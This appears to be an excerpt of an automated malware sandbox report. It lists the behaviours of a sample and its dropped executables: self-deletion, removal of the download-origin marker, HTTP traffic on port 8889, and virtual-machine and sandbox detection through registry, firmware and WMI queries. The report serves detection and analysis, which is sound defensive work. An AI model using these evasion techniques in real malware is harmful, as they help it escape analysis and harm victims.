Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49748

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\v1yj2icuoo.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\cbfafth:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\AEC9.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\AEC9.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\337E.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cbfafth	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\337E.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\explorer.exe TID: 2944	Thread sleep count: 627 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1888	Thread sleep count: 308 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1888	Thread sleep time: -30800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 492	Thread sleep count: 364 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 492	Thread sleep time: -36400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2008	Thread sleep count: 386 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5024	Thread sleep count: 323 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5024	Thread sleep time: -32300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4112	Thread sleep count: 246 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe TID: 1304	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe TID: 4404	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe TID: 5044	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 2780	Thread sleep time: -390000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 5360	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 5360	Thread sleep time: -2640000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 5288	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 5288	Thread sleep time: -2160000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 5344	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 5360	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 5288	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe TID: 2780	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\337E.exe

21_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\337E.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 627	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 364	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 386	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Window / User API: threadDelayed 1813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Window / User API: threadDelayed 4349	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\337E.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: explorer.exe, 00000004.00000000.278671953.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000004.00000000.278671953.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
